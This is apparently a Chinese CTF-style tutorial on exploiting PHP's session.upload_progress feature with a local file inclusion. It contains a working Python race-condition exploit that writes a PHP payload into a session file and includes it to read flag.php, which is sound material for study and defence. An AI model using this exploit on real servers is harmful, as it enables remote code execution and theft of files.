PHP session文件包含漏洞

这个漏洞是由“利用session实现上传进度条的方法”引起的

php5.4中引入基于session的上传进度监视功能;仅使用原生php和js即可实现上传进度条

原理详见官方文档

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

可以在phpinfo中找到相关配置(默认):

这些配置含义:

  • session.upload_progress.cleanup 在上传结束后是否清除上传进度信息
  • session.upload_progress.enabled 是否开启记录上传进度信息
  • session.upload_progress.freq 与 session.upload_progress.min_freq 服务端对进度信息的更新频率
  • session.upload_progress.name POST中代表进度信息的常量名称
  • session.upload_progress.prefix 存储进度信息的session文件名标志
  • session.use_strict_mode 是否可以自定义Session ID;默认Off,即允许

PHP还有个配置选项session.auto_start,即PHP接收请求的时候是否自动初始化session;这个选项默认是关闭的,因为一般使用session_start()来初始化session

但当PHP配置session.upload_progress.enabled这个配置开启时,即使用户没有session_start(),在满足条件下,PHP也会自动初始化session:

在使用session实现进度条这个问题上,需要在上传的时候设置一个隐藏表单,name值为session.upload_progress.name,服务端接收到表单过程中,PHP会在$_SESSION中新建一个键$key,其值为上传的文件的信息,如上传进度

由于在上传过程中post字段名为session.upload_progress.name的数据相当于开启了session_start(),且session.use_strict_mode是关闭的,则可以自定义PHPSESSID,测试如下:

include.php:

1
2
3
<?php  

?>

session_upload.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

s = requests.session()

url = 'http://127.0.0.1/just/include.php'

headers = {'Cookie':'PHPSESSID=123456'}

files = {'files':'123'}

data={ "PHP_SESSION_UPLOAD_PROGRESS":'123'}

req = s.post(url, headers=headers, files=files, data=data)
print(req.text)

运行后,即可在存储session的目录下找到这个sess_123456文件:

但这个文件的大小是0,因为上传结束后,这个session文件会被自动清空;我们利用条件竞争,在文件被清除之前利用即可:开启多线程,一边不断上传产生session,一边不断访问,包含session文件,成功执行恶意代码即可:

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading

url='http://127.0.0.1/just/include.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123456'
}
def POST():
while True:
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php readfile("./flag.php");?>' #恶意进度信息,readfile将直接输出文件内容
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://127.0.0.1/just/include.php?file=../../tmp/tmp/sess_123456")
if 'flag' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

参考:

https://www.ctfwp.com/articals/2019national.html#justsoso

https://wx.zsxq.com/dweb/#